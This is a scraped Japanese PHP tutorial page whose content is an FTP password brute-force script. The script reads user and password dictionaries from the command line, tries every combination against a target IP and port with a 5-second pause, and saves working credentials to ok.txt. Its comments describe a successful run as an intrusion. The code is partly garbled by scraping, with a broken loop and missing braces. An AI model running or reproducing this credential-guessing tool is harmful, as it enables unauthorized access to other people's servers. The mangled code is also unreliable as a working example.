ホームページ > バックエンド開発 > PHPチュートリアル > FTPのユーザー名とパスワードを解読する(PHP演習)_PHPチュートリアル

FTPのユーザー名とパスワードを解読する(PHP演習)_PHPチュートリアル

WBOY
リリース: 2016-07-13 17:21:34
オリジナル
1558 人が閲覧しました

//使用法: php this file.php FTP IP ポート ユーザー辞書パスワード辞書、例: php ftp.php 192.168.8.10 21 user.dic pass.dic。スリープの秒数は自分で変更できます。侵害が成功すると、ユーザー名とパスワードが同じディレクトリの ok.t​​xt に保存されます。


//それぞれ異なるユーザー名とN個のパスワードを取得します
$user=file($_SERVER["argv"][3]);
$pass=file($_SERVER["argv"][4]);
$ countuser=count($user);
$countpass=count($pass);
$n=0;
do
{


for($i=0;$iecho "$user[$n],$pass[$i]";
ftplogin($user[$n] ],$pass[$i]);//ftp 関数を呼び出します
sleep(5);//ftp がクラッシュするのを防ぎ、5 秒間一時停止します
countuser);
;
//FTP 関数、ログインに成功したら、正しいユーザー名とパスワードをこのディレクトリの ok.t​​xt に書き込みます
function ftplogin($username,$password){
//global $username, $password;

$host=$_SERVER [ "argv"][1];

$port=$_SERVER["argv"][2];
$conn = ftp_connect($host,$port);
if(!$conn){

echo "FTP に接続できません";
exit;
}

@ $result=ftp_login($conn,$username,$password);

if(!$result){
echo "error";
ftp_quit($ conn) ;
}
else{
echo "------------------------------------------------->ok";
fputs (fopen(ok.txt,a+),"ユーザー名:".$username."パスワード:".$password);
?>




http://www.bkjia.com/PHPjc/532404.html


www.bkjia.com

tru​​e

http://www.bkjia.com/PHPjc/532404.html技術記事 ?php //使用法: php このファイル。php FTP IP ポート ユーザー辞書パスワード辞書、例: php ftp.php 192.168.8.10 21 user.dic pass.dic。スリープ秒数を自分で変更して乱入することもできます...
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート